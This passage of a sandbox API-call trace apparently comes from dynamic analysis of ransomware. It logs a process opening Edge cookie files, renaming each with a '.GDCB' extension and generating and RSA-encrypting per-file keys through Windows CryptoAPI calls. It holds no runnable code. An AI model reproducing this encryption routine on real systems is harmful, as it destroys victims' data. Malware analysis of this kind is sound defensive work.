Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\6NQ9V8CD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\6nq9v8cd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.756] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.759] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.761] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x18b, lpOverlapped=0x0) returned 1 [0248.770] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.776] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\6NQ9V8CD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\6nq9v8cd.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\6NQ9V8CD.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\6nq9v8cd.txt.gdcb")) returned 1 [0248.780] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.785] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.785] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.785] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.785] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0248.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.790] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.790] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.790] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.790] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.792] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fdc8) returned 1 [0248.792] CryptGetKeyParam (in: hKey=0x677fdc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.792] CryptEncrypt (in: hKey=0x677fdc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.792] GetLastError () returned 0x0 [0248.792] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.792] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.794] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fac8) returned 1 [0248.794] CryptGetKeyParam (in: hKey=0x677fac8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.794] CryptEncrypt (in: hKey=0x677fac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.794] GetLastError () returned 0x0 [0248.794] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.794] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\JZ1UUUP9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\jz1uuup9.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.796] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.798] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.800] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x1a3, lpOverlapped=0x0) returned 1 [0248.809] VirtualAlloc (lpAddress=0x0, dwSize=0x1b0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.816] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\JZ1UUUP9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\jz1uuup9.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\JZ1UUUP9.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\jz1uuup9.txt.gdcb")) returned 1 [0248.826] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.830] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.832] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.832] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.832] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.832] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.835] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.838] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.838] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.838] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.838] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.840] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fbc8) returned 1 [0248.841] CryptGetKeyParam (in: hKey=0x677fbc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.841] CryptEncrypt (in: hKey=0x677fbc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.841] GetLastError () returned 0x0 [0248.841] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.841] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.843] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677ffc8) returned 1 [0248.843] CryptGetKeyParam (in: hKey=0x677ffc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.843] CryptEncrypt (in: hKey=0x677ffc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.843] GetLastError () returned 0x0 [0248.843] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.843] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\KW0ULAFV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\kw0ulafv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.844] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.847] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.850] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x166, lpOverlapped=0x0) returned 1 [0248.858] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.867] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\KW0ULAFV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\kw0ulafv.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\KW0ULAFV.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\kw0ulafv.txt.gdcb")) returned 1 [0248.871] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.876] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.876] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.876] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.876] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.882] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.882] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.882] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.883] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.885] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fe08) returned 1 [0248.885] CryptGetKeyParam (in: hKey=0x677fe08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.885] CryptEncrypt (in: hKey=0x677fe08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.885] GetLastError () returned 0x0 [0248.885] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.885] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.887] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fb48) returned 1 [0248.887] CryptGetKeyParam (in: hKey=0x677fb48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.887] CryptEncrypt (in: hKey=0x677fb48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.887] GetLastError () returned 0x0 [0248.887] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.888] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\SW6Z4AI1.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\sw6z4ai1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.889] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.892] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.895] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0xd1, lpOverlapped=0x0) returned 1 [0248.904] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.910] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\SW6Z4AI1.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\sw6z4ai1.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\SW6Z4AI1.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\sw6z4ai1.txt.gdcb")) returned 1 [0248.914] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.917] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.920] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.920] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.920] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.920] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.925] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.925] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.926] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.928] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fc08) returned 1 [0248.929] CryptGetKeyParam (in: hKey=0x677fc08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.929] CryptEncrypt (in: hKey=0x677fc08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.929] GetLastError () returned 0x0 [0248.929] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.929] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.931] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fc48) returned 1 [0248.931] CryptGetKeyParam (in: hKey=0x677fc48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.931] CryptEncrypt (in: hKey=0x677fc48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.931] GetLastError () returned 0x0 [0248.931] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.931] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\TU6XBKFE.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\tu6xbkfe.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.933] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.936] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.939] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0xc8, lpOverlapped=0x0) returned 1 [0248.951] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.959] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\TU6XBKFE.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\tu6xbkfe.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\TU6XBKFE.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\tu6xbkfe.txt.gdcb")) returned 1 [0248.963] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0248.966] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.968] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.968] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.968] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.971] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.973] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.973] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.973] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.974] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.976] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fd88) returned 1 [0248.976] CryptGetKeyParam (in: hKey=0x677fd88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.976] CryptEncrypt (in: hKey=0x677fd88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.977] GetLastError () returned 0x0 [0248.977] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.977] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.979] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fa48) returned 1 [0248.979] CryptGetKeyParam (in: hKey=0x677fa48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.979] CryptEncrypt (in: hKey=0x677fa48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.979] GetLastError () returned 0x0 [0248.979] 